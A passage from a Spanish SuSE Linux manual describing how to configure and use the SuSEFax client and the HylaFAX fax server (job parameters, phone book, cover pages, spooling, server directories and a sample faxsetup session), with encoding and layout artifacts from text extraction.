  13835.       o   Nunca  (Solo  errores):  El  usuario  solo  recibe  un  mensaje  de  aviso
  13836.           cuando ocurre un fallo en el envφo, debido al cual no se puede enviar
  13837.           el mensaje.
  13838.  
  13839.  
  13840.                                                                                                                                    *
  13841.  *   213
  13842. 6.  Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
  13843.  *_______________________________________@
  13844.  
  13845.  
  13846.  
  13847.  
  13848.                                      Figura 6.9: Cuadro de dißlogo para los parßmetros de las tareas
  13849.  
  13850.  
  13851.  
  13852.                                  o   DespuΘs  del  envφo:   El  usuario  recibe  un  mensaje  de  confirmaci≤n
  13853.                                      despuΘs de cada envφo.
  13854.  
  13855.                                  o   DespuΘs  de  `Requeue':  Se  notifica  al  usuario  el  fallo  en  el  envφo,
  13856.                                      p. ej.  cuando la contraparte estß comunicando (lφnea ocupada).
  13857.  
  13858.                                  o   DespuΘs de `Requeue' y `Envφo:' Una mezcla de los dos esquemas
  13859.                                      anteriores.
  13860.  
  13861.                                  El primer esquema siempre estß activado.  Seleccionando p. ej.  esquema
  13862.                                  dos, se informa al usuario tambiΘn cuando falla el envφo de un fax.
  13863.                            Resolution:         Aquφ se define la resoluci≤n del fax a enviar.  La resoluci≤n se
  13864.                                  indica en lφneas por pulgada (ingl. lines per inch (lpi)).
  13865.                            Priority:      La prioridad de una tarea en la cola de envφo cuyo valor por defecto
  13866.                                  es 127.  El servidor de fax modifica la prioridad seg·n necesidad,  p. ej.
  13867.                                  cuando el envφo falla por encontrar la lφnea de la contraparte ocupada.
  13868.                            Max. Tries to Send:              El n·mero indica cußntas veces el servidor debe inten-
  13869.                                  tar  enviar  el  fax,  cuando  p. ej.  hay  fallos  de  transmisi≤n  por  una  lφnea
  13870.                                  ruidosa.
  13871.                            Max. Tries to Dial:            Cantidad  de  intentos  de  conexi≤n  con  la  contraparte,
  13872.                                  cuando Θsta no contesta o comunica.
  13873.  
  13874.  
  13875. 214
  13876.        _____________________________________________________________6.10.__Linux_+_Fax:_íUna_buena_combinaci≤n!____________________*
  13877.  *______________________
  13878.  
  13879.  
  13880.  
  13881. Paper size:        SuSEFax soporta tres tama±os de papel A4, A3 y ''North Ameri-
  13882.       can Letter''.  Este parßmetro depende del formato del fichero PostScript a
  13883.       enviar.
  13884.  
  13885. Si  en  la  ventana  principal  esta  activada  la  opci≤n  `Modify  job  parame-
  13886. ters', tendrß la posibilidad de modificar con un doble-click los parßmetros
  13887. de  la  tarea  en  la  lista.  El  cuadro  de  dißlogo  que  se  abre  permite  modificar
  13888. los parßmetros `Notification  scheme', `Maximum  tries  to  send' y
  13889. `Maximum  tries  to  dial'.
  13890.  
  13891.  
  13892. Visualizador externo
  13893.  
  13894. Cuando  la  lista  de  tareas  muestra  la  cola  de  recepci≤n,  se  puede  visualizar
  13895. el  fax  recibido  mediante  un  visualizador  externo  .   Este  debe  ser  capaz  de
  13896. visualizar  imßgenes  en  formato  tiffg3     ,  ya  que  el  servidor  de  fax  trabaja
  13897. con este formato el cual permite poner varias imßgenes en un solo fichero.
  13898. El programa SuSEFax  contiene un peque±o script que genera un documen-
  13899. to  PostScript,  usando  el  comando  fax2ps  del  TIFF  Software  de  Sam  Lef-
  13900. fler (paquete tiff).  Este documento se pasa entonces a un visualizador de
  13901. PostScript. El script busca primero el programa gv de Johannes Plass (paque-
  13902. te gv) y despuΘs GhostView  de Timothy O. Theisen (paquete gs_x11).  El
  13903. script se llama docview y se encuentra en /usr/lib/SuSEFax.  Los ajustes
  13904. en el cuadro de dißlogo de configuraci≤n del visualizador externo tienen los
  13905. siguientes significados:
  13906.  
  13907. Path for temporary files:                (Directorio de los ficheros temporales) SuSEFax
  13908.       coloca la imagen recibida del tipo tiffg3      en este directorio, reemplazan-
  13909.       do $F   con el camino completo a este fichero.
  13910.        _______________________________________________________________________________________________________________________||
  13911.  
  13912.        ||||||||  íEl usuario que ha iniciado SuSEFax  necesita los derechos de escritura y                      |||            |
  13913.        ||||||||  lectura en este directorio!                                                                    ||             |
  13914.        ||||||||_______________________________________________________________________________________________________________||_
  13915.  
  13916. Viewer Call:          (Llamada al visualizador) Aquφ se indica la rama completa del
  13917.       programa  o  script  que  debe  visualizar  el  fichero.   Este  programa  debe
  13918.       aceptar como parßmetro la rama del fichero a visualizar.
  13919.  
  13920. Enviar un Fax
  13921.  
  13922. DespuΘs de haber realizado los ajustes mßs importantes, lo primero es com-
  13923. probar  si  se  puede  consultar  el  estado  del  servidor  de  fax  (ver  en  la  pßgi-
  13924. na 211Instrucciones de usosubsection.6.10.1).  Si esto no fuera posible, tam-
  13925. poco se podrφa enviar ning·n fax y habrφa que comprobar la configuraci≤n de
  13926. SuSEFax o del servidor HylaFAX . Si por el contrario todo estß bien ajustado
  13927. y se selecciona la opci≤n de menu `Send  Fax', aparece un cuadro de dißlogo
  13928. cuyos campos tienen el siguiente significado:
  13929.  
  13930. Phone number of recipient:                   El  n·mero  de  telΘfono  del  destinatario.   Pul-
  13931.       sando el bot≤n `From  telephone  book' se abre la agenda telef≤nica y
  13932.       se puede seleccionar directamente un n·mero de telΘfono de la agenda.
  13933. Document to be sent:               Aquφ se indica el nombre y la rama completa del doc-
  13934.       umento PostScript a enviar.  Si se pulsa el bot≤n `Search', aparece un
  13935.       navegador de disco que ayuda seleccionar el documento.
  13936.  
  13937.  
  13938.                                                                                                                                    *
  13939.  *   215
  13940. 6.  Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
  13941.  *_______________________________________@
  13942.  
  13943.  
  13944.  
  13945.                            With Cover-Fax:             (Con portada de fax) Solo se puede activar este bot≤n si
  13946.                                  se ha indicado en los ajustes globales la rama completa de un fichero de
  13947.                                  portada de fax. Si el bot≤n estß activado es posible rellenar los siguientes
  13948.                                  campos con lo cual se genera y se envφa una portada de fax .
  13949.  
  13950.                            Do not send immediately:                  (No enviar inmediatamente) Seleccionando este
  13951.                                  bot≤n se abre una ventana de dißlogo que permite introducir la hora de
  13952.                                  envφo; si se sale de esta ventana con `Cancel', el fax se envφa como si se
  13953.                                  hubiese salido de ella con `Send  Fax'.  Al indicar la fecha y la hora del
  13954.                                  envφo tenga en cuenta lo siguiente:
  13955.  
  13956.  
  13957.                                  o   DespuΘs de introducir algo en un campo pulse |______|-, ya que asφ el pro-
  13958.                                      grama comprueba automßticamente si se trata de una entrada vßlida; si
  13959.                                      no lo fuera, el programa la convierte en una fecha vßlida.
  13960.  
  13961.  
  13962.                            Name of sender:            (Nombre  del  remitente)  Por  defecto  aparece  siempre  el
  13963.                                  nombre que se ha indicado en los ajustes globales.
  13964.  
  13965.                            Name of recipient:             Nombre del destinatario
  13966.  
  13967.                            Regarding:          El asunto.
  13968.  
  13969.                            To company:           A la empresa.
  13970.  
  13971.                            Comment:           Los comentarios.
  13972.  
  13973.  
  13974.                            Al seleccionar `Poll  Fax' (Solicitar fax) se supone que se ha introducido
  13975.                            el n·mero de telΘfono del servidor de ''polling'' de fax. En tal caso, evidente-
  13976.                            mente, no hace falta indicar un fichero a enviar puesto que es para recibir.
  13977.  
  13978.  
  13979.  
  13980.                            Significado de las entradas en la lista de tareas
  13981.  
  13982.  
  13983.                            Como ya se ha mencionado, en la lista de tareas se pueden visualizar tanto
  13984.                            aquellas que estßn en la cola de envφo como las que se encuentran en la cola
  13985.                            de recepci≤n.  Lo siguiente explica el significado de los distintos elementos
  13986.                            de las entradas.
  13987.  
  13988.  
  13989.  
  13990.                            La cola de recepci≤n
  13991.  
  13992.  
  13993.  
  13994.                                        Figura 6.10: Ejemplo de una entrada en la cola de recepci≤n
  13995.  
  13996.  
  13997.                            De izquierda a derecha se anotan primero los derechos de acceso, el tama±o
  13998.                            en  bytes,  el  n·mero  de  pßginas,  la  TSI  y  el  nombre  de  fichero  de  un  fax
  13999.                            recibido.  El TSI (ingl. Transmission Subscriber Identification) es la identi-
  14000.                            ficaci≤n  definida  por  la  contraparte  que  envφa  el  fax.   Puede  tratarse  de  un
  14001.                            n·mero de telΘfono, un nombre de empresa o algo similar.
  14002.  
  14003.  
  14004. 216
  14005.        _____________________________________________________________6.10.__Linux_+_Fax:_íUna_buena_combinaci≤n!____________________*
  14006.  *______________________
  14007.  
  14008.        _______________________________________________________________________________________________________________________||
  14009.        ||||||||  Los  faxes  recibidos  solo  se  pueden  visualizar  con  un  doble-click  si                  |||            |
  14010.        ||||||||| la  configuraci≤n  del  servidor  de  fax  otorga  derechos  de  lectura  a  to-               ||             ||
  14011.        ||||||||  dos  los  usuarios.     Para  conseguirlo,   hay  que  anotar  en  el  fichero                 |||            |
  14012.        ||||||||                                                                                                 ||             |
  14013.        ||||||||  /var/spool/fax/etc/config.device                               por  detrßs  de  la  palabra  clave|           |
  14014.        ||||||||  RecvFileMode:              los  derechos  0644      (ver  apartado  6.10.4  en  la  pßgi-      ||             |
  14015.        ||||||||                                                                                                 ||             |
  14016.        ||||||||  na 222Configuraci≤ntable.6.3).                                                                 ||             |
  14017.        ||||||||_______________________________________________________________________________________________________________||_
  14018.  
  14019. La cola de envφo
  14020.  
  14021.  
  14022.                 Figura 6.11: Ejemplo de una entrada en la cola de envφo
  14023.  
  14024.  
  14025. De izquierda a derecha se anota la identificaci≤n de tarea (ingl. Job-ID), la
  14026. prioridad, la cuenta de usuario, el n·mero de telΘfono del destino, la hora de
  14027. envφo,  el n·mero de intentos a llamar y el n·mero mßximo de intentos.  Si
  14028. ocurre  un  error,  el  mensaje  acerca  de  Θste  se  a±ade  a  la  lφnea.   El  servidor
  14029. de fax asigna automßticamente la identificaci≤n de tarea (Job-ID). Se puede
  14030. ajustar la prioridad para cada tarea, pero el servidor de fax la modifica seg·n
  14031. se  necesite;  solo  el  usuario  que  ha  iniciado  una  tarea  puede  modificar  sus
  14032. parßmetros o borrarla.
  14033.  
  14034.  
  14035. La agenda telef≤nica
  14036.  
  14037.  
  14038.  
  14039.                                 Figura 6.12: La agenda telef≤nica
  14040.  
  14041.  
  14042. La  agenda  telef≤nica  (ver  figura  6.12)  permite  administrar  nombres  y
  14043. n·meros  de  faxes.   Es  posible  clasificar  por  nombre,  apellido,  n·mero  de
  14044. fax  o  nombre  de  empresa.  Un  doble-click  sobre  una  entrada  en  la  lista  de
  14045. telΘfonos  abre  el  editor  de  entradas  con  el  cual  se  visualizan  todas  las  en-
  14046. tradas de la lista cuyos elementos se pueden modificar seleccionando el bot≤n
  14047. `Edit';  estas modificaciones se guardan seleccionando `Accept  entry',
  14048.  
  14049.  
  14050.                                                                                                                                    *
  14051.  *   217
  14052. 6.  Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
  14053.  *_______________________________________@
  14054.  
  14055.  
  14056.  
  14057.                            suponiendo  que  se  ha  proporcionado  anteriormente  `Name',  `Surname'  y
  14058.                            `Telephone  number'.
  14059.                            Cuando  el  editor  de  entradas  estß  en  modo  `View  entry',  un  click  sobre
  14060.                            el  bot≤n  `Send  Fax'  abre  el  `Send  fax  dialogue'  (dißlogo  de  enviar
  14061.                            fax) y entonces los elementos `Name', `Surname', `Telephone  number',
  14062.                            `Company'  y  `Comments'  se  incorporan  en  la  portada  de  fax  (ver  en  la
  14063.                            pßgina  215Enviar  un  Faxsubsection.6.10.1).   Esta  portada  solo  se  envφa  si
  14064.                            el bot≤n `Use  fax  cover' estß seleccionado.
  14065.  
  14066.                            Con  `Add'  se  a±ade  una  nueva  entrada  a  la  agenda  y  `Remove'  borra  la
  14067.                            entrada marcada en la lista. El proceso de ordenar se inicia con cada selecci≤n
  14068.                            del bot≤n `Sort' siguiendo el criterio bajo `Shown  is'.
  14069.  
  14070.                            No se pueden seleccionar los botones `Save  changes' y `Save  +  Exit'
  14071.                            antes de haber seleccionado `Take  entry' en el editor de entradas o bien
  14072.                            `Sort' o `Remove'.
  14073.  
  14074.                            TambiΘn se puede iniciar la agenda telef≤nica por sφ sola.  De ello se encarga
  14075.                            el ''Wrapper'' susephone        :  se introduce simplemente susephone         en la lφnea
  14076.                            de entrada, aunque de este modo no se pueden enviar faxes.
  14077.                            ________________________________________________________________________________________________________*
  14078.  *________||
  14079.                            |  No  se  debe  iniciar  el  programa  de  la  agenda  telef≤nica  dos  veces  en  la                  *
  14080.  *        ||||
  14081.                            |  misma cuenta de usuario.  Si esto ocurriese, se debe tener cuidado de no                             *
  14082.  *        |||
  14083.                            |                                                                                                       *
  14084.  *        |||
  14085.                            |  grabar la agenda en ambas ventanas.                                                                  *
  14086.  *        |||
  14087.                            |_______________________________________________________________________________________________________*
  14088.  *________|||_
  14089.  
  14090.                            Envφo m·ltiple de faxes
  14091.  
  14092.                            El cuadro de dißlogo para enviar una serie de faxes permite generar una lista
  14093.                            de destinatarios desde las entradas en la agenda. Para a±adir o quitar entradas
  14094.                            a esta lista hay que seleccionarla primero. Se pueden seleccionar las entradas
  14095.                            con la tecla del mouse o con uno de los `Toggle'-Buttons. Pulsando p. ej.  el
  14096.                            bot≤n `(Toggle' se seleccionan todas las entradas que estßn sin seleccionar
  14097.                            y se deseleccionan las que ya lo estßn; se procede de igual modo para la lista
  14098.                            de envφo m·ltiple. Con el bot≤n `Send  fax' se envφan todas las entradas que
  14099.                            se encuentran en la lista.  En caso de envφo m·ltiple no se puede generar una
  14100.                            portada automßtica.
  14101.  
  14102.  
  14103.                            6.10.2       Generaci≤n automßtica de portada
  14104.  
  14105.                            La  generaci≤n  automßtica  de  una  portada  de  fax  necesita  una  plantilla  en
  14106.                            PostScript.   No  se  trata  de  un  fichero  que  pueda  ser  manejado  por  parte
  14107.                            de  un  interpretador  de  PostScript,  sino  que  es  un  fichero  con  variables  ''en
  14108.                            blanco'', que se rellenan en el momento de generar la portada. Por eso puede
  14109.                            resultar  un  poco  complicado  hacer  este  tipo  de  plantilla.  Los  que  conocen
  14110.                           ALTEX estßn de suerte ya que existe el paquete latex-cover 6  de R. Krienke.
  14111.                            Este paquete trae un TEX-Style, que le permite a un entendido en TEX, generar
  14112.                            una plantilla sin mayores problemas.  La portada que viene con este paquete
  14113.                            y con el paquete hylafax fue elaborado con latex-cover .
  14114.  
  14115.                            Si no se usa latex-cover  hace falta generar un fichero PostScript e introducir
  14116.                            manualmente las macros y las variables necesarias.
  14117.                            _____________________________________________6
  14118.                              Este paquete se instala junto con el paquete hylafax bajo /usr/doc/packages/hylafax.
  14119.  
  14120.  
  14121. 218
  14122.        _____________________________________________________________6.10.__Linux_+_Fax:_íUna_buena_combinaci≤n!____________________*
  14123.  *______________________
  14124.  
  14125.  
  14126.  
  14127. Las palabras clave de SuSEFax
  14128.  
  14129. Para crear el documento TEX,  que representa la plantilla,  se deben conocer
  14130. las macros que SuSEFax soporta actualmente:
  14131.            __________________________
  14132.            |__\toperson______|_______
  14133.            |__\from______________|___
  14134.            |__\regarding____|________
  14135.            |__\tocompany____|________
  14136.            |__\todaysdate__|_________
  14137.            |__\comments______|_______
  14138.  
  14139.  
  14140.  
  14141. El  programa  faxcover  del  paquete  hylafax  sirve  para  probar  la  plantilla
  14142. ''bricolada  a  mano''  ya  que  Θste  la  convierte  en  un  fichero  PostScript  listo
  14143. para visualizar o imprimir.  Otra posibilidad para probar es el uso del binario
  14144. de Java FaxCovergen.class  del paquete susefax.  Simplemente se introduce
  14145. en cualquier directorio el siguiente comando:
  14146.  
  14147.       tux@tierra:/home/tux        >  java  -classpath
  14148.            /usr/lib/java/lib/classes.zip:/usr/lib  SuSEFax.FaxCovergen
  14149.  
  14150. Deberφa aparecer la siguiente respuesta:
  14151.  
  14152.        _______________________________________________________________________________________________________________________
  14153.        |||||||| Command:  FaxCovergen  sourcecover.ps  docname.ps  targetcover.ps                                              |
  14154.        ||||||||                                                                                                                |
  14155.        ||||||||_______________________________________________________________________________________________________________ |
  14156.  
  14157.  
  14158. ''Sourcecover'' es la portada fuente, docname.ps es el documento que real-
  14159. mente se manda junto con un fax y en targetcover.ps se guarda la portada
  14160. de fax generada.  Estos argumentos se a±aden simplemente al comando indi-
  14161. cado arriba. Ahora puede visualizar cualquiera de estos ficheros PostScript.
  14162. 6.10.3       Fax-Spooling en UNIX /Linux
  14163.  
  14164.  
  14165. El mecanismo de ''spooling'' (bobinar ~ en realidad no se bobina nada, pero
  14166. la  palabra  se  deriva  del  hecho  de  que  las  tareas  se  van  ejecutando  secuen-
  14167. cialmente, como si estuviesen colocadas en una cinta que se estß bobinando)
  14168. realmente  fue  pensado  para  Windows ,  pero  tambiΘn  se  puede  utilizar  esta
  14169. caracterφstica bajo Linux .  Instale simplemente el paquete faxprint, serie n
  14170. (Netzwerk-Support).
  14171.  
  14172. Ahora se puede p. ej.  convertir el fichero /etc/passwd mediante
  14173. a2ps  -nP  /etc/passwd  |  lpr  -Pfax a Postscript y pasarlo por el filtro
  14174. de impresi≤n configurado.  DespuΘs debe aparecer en el directorio /tmp un
  14175. fichero denominado fax_accountname.ps                 .  accountname es el nombre de
  14176. usuario que se ha usado para entrar al sistema.  Si este fichero realmente ex-
  14177. iste, se puede poner como fichero de ''spool'' como se ha explicado en aparta-
  14178. do 6.10.1 en la pßgina 211Configuraci≤n globalsubsection.6.10.1 y activar el
  14179. bot≤n `Automatic  fax'.
  14180.  
  14181.  
  14182.                                                                                                                                    *
  14183.  *   219
  14184. 6.  Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
  14185.  *_______________________________________@
  14186.  
  14187.                            ________________________________________________________________________________________________________*
  14188.  *________||
  14189.                            |  El  mecanismo  de  ''spooling''  solo  puede  funcionar  si  SuSEFax  estß  ac-                      *
  14190.  *        ||||
  14191.                            || tivado.    En  tal  caso  se  comprueba  regularmente  la  marca  de  tiempo                         *
  14192.  *        ||||
  14193.                            |  Lastmodified            del fichero de spooling y se abre el dißlogo de definici≤n                   *
  14194.  *        ||||
  14195.                            |                                                                                                       *
  14196.  *        |||
  14197.                            |  del destinatario en SuSEFax , cuando aparece alg·n cambio.                                           *
  14198.  *        |||
  14199.                            |_______________________________________________________________________________________________________*
  14200.  *________|||_
  14201.  
  14202.  
  14203.  
  14204.                            6.10.4       HylaFAX  ~ Gesti≤n distribuida de faxes
  14205.  
  14206.  
  14207.                            Funcionamiento
  14208.  
  14209.  
  14210.                            El soporte de instalaci≤n no cubre la configuraci≤n de HylaFAX  (ver aparta-
  14211.                            do H.1.2 en la pßgina 541Cobertura del soporte de instalaci≤nsubsection.H.1.2).
  14212.  
  14213.                            La figura 6.13 muestra el funcionamiento del servidor de fax y el principio de
  14214.                            interacci≤n con los clientes; tal como muestra el esquema, existen tres vφas de
  14215.                            comunicaci≤n entre los clientes y el servidor.  El protocolo que funciona con
  14216.                            el puerto 4557 existe por razones de compatibilidad con versiones antiguas
  14217.                            de HylaFAX ; existe p. ej.  el cliente WinFlex de Peter Bentley para Windows ,
  14218.                            que sigue usando este protocolo.  Los clientes mßs recientes deberφan usar el
  14219.                            protocolo nuevo el cual se identifica aquφ con el puerto 4559 y cuya estruc-
  14220.                            tura se asemeja mucho a la del File Transfer Protocol,  RFC959 .  El tercer
  14221.                            protocolo es el SNPP (Simple Network Paging Protocol, RFC1861) .
  14222.  
  14223.  
  14224.                                            Figura 6.13: El funcionamiento del servidor HylaFAX
  14225.  
  14226.  
  14227. 220
  14228.        _____________________________________________________________6.10.__Linux_+_Fax:_íUna_buena_combinaci≤n!____________________*
  14229.  *______________________
  14230.  
  14231.  
  14232.  
  14233. El servidor se compone de tres daemons, los cuales cumplen cada uno, una
  14234. determinada tarea:
  14235.  
  14236. hfaxd       es el servidor de protocolo que se encarga de la comunicaci≤n entre
  14237.       cliente  y  servidor.   Se  puede  iniciar  bien  durante  el  arranque  de  forma
  14238.       ''standalone'' mediante el proceso Init , o bien, mediante el Inetd . A travΘs
  14239.       de un fichero ''FIFO special file'', hfaxd se comunica con el proceso faxq .
  14240.  
  14241. faxq      representa el ''Queueing Agent''.  Se encarga de administrar la cola de
  14242.       tareas y los faxes que entran y salen. El proceso se ejecuta continuamente
  14243.       y no puede correr mßs de uno al mismo tiempo.
  14244.  
  14245. faxgetty       se  encarga  de  la  comunicaci≤n  con  el  modem.   Si  no  se  necesita
  14246.       recibir  fax,  se  puede  usar  faxmodem  como  alternativa  a  faxgetty  que
  14247.       ademßs permite ser administrado a travΘs de un fichero FIFO7
  14248.  
  14249.  
  14250. La estructura de directorios
  14251.  
  14252. Todo el servidor se ejecuta en un entorno ''Change-Root''.  El ''Server-Root''
  14253. se encuentra por defecto en /var/spool/fax.  Los procesos del servidor y
  14254. el directorio Server-Root pertenecen al usuario y grupo `uucp'. La tabla 6.3
  14255. en la pßgina siguiente muestra todos los directorios que se encuentran en el
  14256. Server-Root y explica sus funciones.
  14257.  
  14258.        ______________________________________________________________________________________________________________________
  14259.  
  14260.    archive        Aquφ se archivan las tareas, si el job archival support fue acti-
  14261.                   vado.
  14262.    bin            En este directorio se almacenan scripts usados por los progra-
  14263.                   mas faxq, faxsend, pagesend y faxgetty.
  14264.    client         Este directorio contiene los ficheros FIFO, necesarios para la
  14265.                   comunicaci≤n con el programa faxq.
  14266.    config         Aquφ y en el directorio etc se encuentran la configuraci≤n, el
  14267.                   control de acceso y la administraci≤n de usuarios.
  14268.    dev            Ya  que  todo  el  sistema  corre  en  un  entorno  chroot     ,  aquφ  se
  14269.                   encuentran los dispositivos necesarios (null, socksys y tcp).
  14270.    docq           Este  directorio  ~  al  igual  que  tmp  ~  se  necesita  p. ej.  para  la
  14271.                   preparaci≤n de tareas a realizar.
  14272.    doneq          Aquφ se guardan tareas que fueron terminadas, pero que no han
  14273.                   sido ni quitadas de la cola ni archivadas.
  14274.    etc            ver config.
  14275.    info           Este directorio alberga informaci≤n sobre las caracterφsticas de
  14276.                   las mßquinas con las que HylaFAX  ya ha estado en contacto
  14277.                   alguna vez.
  14278.    log            Este directorio contiene informaci≤n de registro sobre las se-
  14279.                   siones de envφo y recepci≤n.
  14280.    pollq          En este directorio hay documentos obtenidos con ''polling''.
  14281.  
  14282.        ______________________________________________________________________________________________________________________
  14283.  
  14284.                         Tabla 6.3: Contin·a en la pßgina siguiente ...
  14285. 7      ____________________________________________________
  14286.   Un fichero FIFO (ingl. FIFO = First In First Out) es un fichero del que se puede leer informa-
  14287. ci≤n en el mismo orden en el cual fue escrito.
  14288.  
  14289.  
  14290.                                                                                                                                    *
  14291.  *   221
  14292. 6.  Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
  14293.  *_______________________________________@
  14294.  
  14295.                             _______________________________________________________________________________________________________*
  14296.  *_________
  14297.  
  14298.  
  14299.                               sendq          Para almacenar los faxes a enviar.
  14300.                               recvq          Para almacenar los faxes que llegan.
  14301.                               status         Aquφ se almacenan ficheros que contienen informaci≤n sobre
  14302.                                              el estado actual del servidor.
  14303.                               tmp            ver docq.
  14304.  
  14305.                             _______________________________________________________________________________________________________*
  14306.  *_________
  14307.  
  14308.                                            Tabla 6.3: Los directorios Server-Root y sus funciones
  14309.  
  14310.                            Aparte  de  estos  directorios  hay  tambiΘn  ficheros  FIFO  que  son:  El  fichero
  14311.                            /var/spool/fax/FIFO  y  por  cada  modem  administrado  por  faxgetty  un
  14312.                            fichero /var/spool/fax/FIFO.devname, donde devname es el nombre de
  14313.                            dispositivo al que se conecta el modem.
  14314.  
  14315.  
  14316.  
  14317.                            Configuraci≤n
  14318.  
  14319.  
  14320.                            La configuraci≤n del servidor estß distribuida desde 2 hasta 2+n ficheros de
  14321.                            configuraci≤n, donde `n' representa la cantidad de modems en uso. El direc-
  14322.                            torio  /var/spool/fax/etc  alberga  los  ficheros  de  configuraci≤n  config
  14323.                            y  config.device            .    Este  ·ltimo  determina  la  configuraci≤n  del  modem
  14324.                            conectado  al  dispositivo  device.   Si  p. ej.  estuviera  el  modem  conectado  a
  14325.                            /dev/ttyS0, este fichero se llamarφa config.ttyS0.
  14326.  
  14327.                            El fichero config contiene ajustes de ßmbito general que necesitan el proceso
  14328.                            de planificaci≤n faxq.  config.device             alberga la configuraci≤n especφfica
  14329.                            del modem y config la del ''Queueing-Agent''.  Los ajustes del servidor de
  14330.                            protocolo se encuentran en el fichero /usr/lib/fax/hfaxd.conf.  Todos
  14331.                            estos  ficheros  de  configuraci≤n  se  generan  automßticamente,  ejecutando  el
  14332.                            script faxsetup        despuΘs de la instalaci≤n.
  14333.  
  14334.  
  14335.  
  14336.                            Ejemplo de una sesi≤n de configuraci≤n
  14337.  
  14338.  
  14339.                            Lo  siguiente  muestra  una  sesi≤n  de  configuraci≤n  ejemplo  iniciada  por
  14340.                            faxsetup       .  Para esta sesi≤n se supone que son vßlidos los valores anotados
  14341.                            en la tabla 6.4.
  14342.  
  14343.                            ________________________________________________________________________________________________________*
  14344.  *________
  14345.  
  14346.  
  14347.                               N·mero de telΘfono                    (0)49(0)911-1234568
  14348.                               Tipo (clase) de modem                 2.0
  14349.  
  14350.                            ________________________________________________________________________________________________________*
  14351.  *________
  14352.  
  14353.                                                                            Tabla 6.4:
  14354.  
  14355.  
  14356.                            Las letras en negrita indican los datos a introducir.
  14357.  
  14358.                            _____________________________________________8
  14359.                              Cuando se ejecuta faxsetup     se reemplaza este n·mero con el propio.
  14360.  
  14361.  
  14362. 222
  14363.        _____________________________________________________________6.10.__Linux_+_Fax:_íUna_buena_combinaci≤n!____________________*
  14364.  *______________________
  14365.  
  14366.  
  14367.  
  14368. Configuraci≤n del planificador (scheduler)
  14369.   o   Should  an  entry  be  added  to  /etc/inetd.conf  [no]? | ____ |
  14370.                                                                 _____-
  14371.   o   Country  code  [1]? 49
  14372.   o   Area  code  []? 911
  14373.   o   Long  distance  dialing  prefix  [1]? 0
  14374.   o   International  dialing  prefix  [011]? 00
  14375.   o   Dial  string  rules  file  (relative  to__
  14376.       /var/spool/fax)  ["etc/dialrules"]? |_____-|
  14377.   o   Tracing  during  normal  server  operation  [1]? 527
  14378.   o   Default  tracing  during  send  and  receive
  14379.       sessions  [0xffffffff]? 527
  14380.   o   Continuation  cover  page  (relative  to
  14381.       /var/spool/fax)  []? etc/cover.templ
  14382.   o   Timeout  when  converting  PostScript_
  14383.       documents  (secs)  [180]? |_____-|                                ____
  14384.   o   Maximum  number  of  concurrent  jobs  to  a  destination  [1]? |_____-|
  14385.   o   Define  a  group  of  modems  []? Σ ny:.*"
  14386.  
  14387.   o   Time  of  day  restrictions  for  outbound  jobs  ["Any"]? |______|-
  14388.   o   Pathname  of  destination__controls  file  (relative  to
  14389.       /var/spool/fax)  []? |_____-|
  14390.   o   Timeout  before  purging  a _stale_ UUCP
  14391.       lock  file  (secs)  [30]? |_____-|
  14392.   o   Max  number  of  pages  to  permit  in  an
  14393.       outbound  job  [0xffffffff]? 30
  14394.   o   Syslog  facility  name__for_ ServerTracing
  14395.       messages  [daemon]? |_____-|
  14396.  
  14397. DespuΘs de haber introducido los datos, aparece el resumen como se ve en el
  14398. salida en pantalla 6.10.1.
  14399.  
  14400.        _______________________________________________________________________________________________________________________||
  14401.        |||||||| The  non-default  scheduler  parameters  are:                                                                  |
  14402.        ||||||||                                                                                                                |
  14403.        ||||||||                                                                                                                |
  14404.        |||||||| CountryCode:                     49                                                                            |
  14405.        |||||||| AreaCode:                          911                                                                         |
  14406.        ||||||||                                                                                                                |
  14407.        |||||||| LongDistancePrefix:         0                                                                                  |
  14408.        |||||||| InternationalPrefix:       00                                                                                  |
  14409.        ||||||||                                                                                                                |
  14410.        |||||||| ServerTracing:                 527                                                                             |
  14411.        |||||||| ContCoverPage:                 etc/cover.templ                                                                 |
  14412.        ||||||||                                                                                                                |
  14413.        |||||||| MaxSendPages:                   30                                                                             |
  14414.        |||||||| ModemGroup:                       "any:.*"                                                                     |
  14415.        ||||||||                                                                                                                |
  14416.        |||||||| SessionTracing:                527                                                                             |
  14417.        ||||||||_______________________________________________________________________________________________________________ |
  14418.  
  14419.                                     Mensaje en pantalla 6.10.1:
  14420.  
  14421.  
  14422.  
  14423. Configuraci≤n del servidor
  14424.  
  14425. DespuΘs  de  la  configuraci≤n  del  planificador  (ingl.  scheduler),  faxsetup
  14426. cuestiona si se debe configurar un modem con faxaddmodem          .  Esta pregunta
  14427.  
  14428.  
  14429.                                                                                                                                    *
  14430.  *   223
  14431. 6.  Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
  14432.  *_______________________________________@
  14433.  
  14434.  
  14435.  
  14436.                            la  respondemos  evidentemente  con  yes  .   Ahora  viene  la  pregunta  sobre  el
  14437.                            puerto  serie  del  modem  que  se  debe  contestar  con  el  nombre  de  dispositi-
  14438.                            vo, sin indicar la rama completa del modem ~ /dev/modem se convierte en
  14439.                            modem.
  14440.  
  14441.                              o   Country  code  [49]? |______|-
  14442.  
  14443.                              o   Area  code  [911]? |______|-
  14444.  
  14445.                              o   Phone  number  of  fax  modem  [+1.999.555.1212]?
  14446.                                  +49.911.123456
  14447.  
  14448.                              o   Local  identification  string  (for  TSI/CIG)
  14449.                                  ["NothingSetup"]? ⁿS SE GmbH"
  14450.  
  14451.                              o   Long  distance  dialing  prefix  [0]? |______|-
  14452.  
  14453.                              o   International  dialing  prefix  [00]? |______|-
  14454.  
  14455.                              o   Dial  string  rules  file  (relative  to__
  14456.                                  /var/spool/fax)  ["etc/dialrules"]? |_____-|
  14457.  
  14458.                              o   Tracing  during  normal  server  operation  [1]? 527
  14459.  
  14460.                              o   Tracing  during  send  and  receive  sessions  [11]? 527
  14461.  
  14462.                              o   Protection  mode  for  received  facsimile  [0600]? 0644
  14463.  
  14464.                              o   Protection  mode  for  session  logs  [0600]? |______|-
  14465.  
  14466.                              o   Protection  mode  for  modem  [0600]? 0666
  14467.  
  14468.                              o   Rings  to  wait  before  answering  [1]? |______|-
  14469.  
